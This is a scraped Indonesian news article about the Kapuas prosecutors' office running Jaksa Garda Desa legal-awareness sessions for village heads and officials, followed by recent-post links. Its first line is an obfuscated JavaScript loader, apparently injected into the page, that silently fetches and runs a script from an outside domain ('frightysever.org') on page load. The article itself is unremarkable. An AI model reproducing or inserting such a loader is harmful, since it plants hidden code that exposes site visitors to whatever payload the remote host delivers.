(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Kapuas

Jaksa Garda Desa Kejari Kapuas, Penguatan Kapasitas Kades dan Perangkat


KANALKALIMANTAN.COM, KUALA KAPUAS – Jaksa Garda Desa (Jaga Desa) program Kejaksaan Agung RI dilakukan Kejaksaan Negeri Kapuas (Kejari) Kapuas menggandeng Dinas Pemberdayaan Masyarakat Desa (DPMD) Kabupaten Kapuas.

Jaga Desa di Kabupaten Kapuas dilakukan untuk penguatan kapasitas bagi Kepala Desa (Kades), perangkat desa, dan BPD se Kabupaten Kapuas secara bertahap di 17 Kecamatan.

Kegiatan Jaga Desa pertama dilaksanakan di Kecamatan Kapuas Hilir, dengan diikuti oleh Kades, Sekdes dan BPD se Kecamatan Kapuas Hilir dan Kecamatan Selat, Selasa (19/3/2024).

Kajari Kapuas Luthcas Rohman melalui Kasi Intelijen Kejari Kapuas Amir Giri Muryawan mengatakan pelaksanaan kegiatan penerangan hukum Jaksa Garda Desa Kejari Kapuas merupakan tindak lanjut Instruksi Jaksa Agung Republik Indonesia (Insja) Nomor 5 Tahun 2023 tanggal 27 Juni 2023, perihal optimalisasi peran Kejaksaan Republik Indonesia dalam membangun kesadaran hukum masyarakat desa melalui program Jaksa Garda Desa (Jaga Desa).

Baca juga: Pengedar Sabu di Sungai Malang Dibekuk Satresnarkoba Polres HSU

Kegiatan ini merupakan tindak lanjut dari kesepahaman bersama antara Dinas Pemberdayaan Masyarakat dan Desa Kabupaten Kapuas dengan Kejaksaan Negeri Kapuas nomor: 400.10/823/DPMD/1/2024 dan Nomor: B-41/O.2.12/Gs.1/01/2024 yang ditandatangani bersama tanggal 30 Januari 2024.

“Dengan kegiatan ini, kami berharap pemerintah desa se Kabupaten Kapuas memiliki pengetahuan, dan wawasan yang cukup dalam melaksanakan tupoksinya sesuai ketentuan peraturan perundang-undangan. Sehingga dapat meminimalisir potensi penyalahgunaan, dan penyimpangan yang bisa berakibat menjadi tindak pidana,” ujar Amir.

Sementara, Kepala DPMD Kabupaten Kapuas Budi Kurniawan menyampaikan apresiasi atas terlaksananya kegiatan ini, dan kegiatan ini adalah salah satu bentuk terobosan guna mewujudkan penyelenggaraan pemerintahan desa yang akuntabel, transparan dan bebas korupsi.

Baca juga: Sidang Cuci Uang Narkoba Fredy Pratama, Lian Silas Dikirimi Uang Sejak 2013

“DPMD Kapuas juga berkomitmen untuk terus mendorong upaya strategis, dalam rangka mewujudkan tata kelola penyelenggaraan pemerintahan desa yang baik,” kata Budi Kurniawan. (Kanalkalimantan.com/ags)

Reporter: ags
Editor: kk


Risa

Recent Posts

Wabup Dodo Cek Harga Bahan Pokok di Pasar Besar Kuala Kapuas

KANALKALIMANTAN.COM, KUALA KAPUAS - Wakil Bupati Kapuas Dodo turun langsung ke pasar besar Kuala Kapuas… Read More

6 jam ago

Enam Pj Kades di Kecamatan Mantangai Dilantik

KANALKALIMANTAN.COM, KUALA KAPUAS - Bupati Kapuas H Muhammad Wiyatno melantik 33 Penjabat (Pj) Kepala Desa… Read More

6 jam ago

Matangkan Layanan MPP, Pemkab Kapuas Gelar Forum Konsultasi Publik

KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten Kapuas menggelar forum konsultasi publik penyelenggaraan Mal Pelayanan Publik… Read More

7 jam ago

Bupati Kapuas Melantik 33 Pj Kades dan Enam Anggota BPD

KANALKALIMANTAN.COM, KUALA KAPUAS - Bupati Kapuas H Muhammad Wiyatno melantik 33 orang Penjabat (Pj) Kepala… Read More

8 jam ago

Rencana Aksi Bersama Pengendalian Banjir Kawasan Banua Enam

Gubernur Kalsel: Percuma Rencana Kalau Tidak Dilakukan Read More

8 jam ago

Pemkab Banjar Raih Penghargaan dari MenPANRB

KANALKALIMANTAN.COM, JAKARTA – Keberhasilan Pemerintah Kabupaten Banjar dalam upaya mewujudkan tata kelola pemerintahan yang bersih… Read More

8 jam ago

This website uses cookies.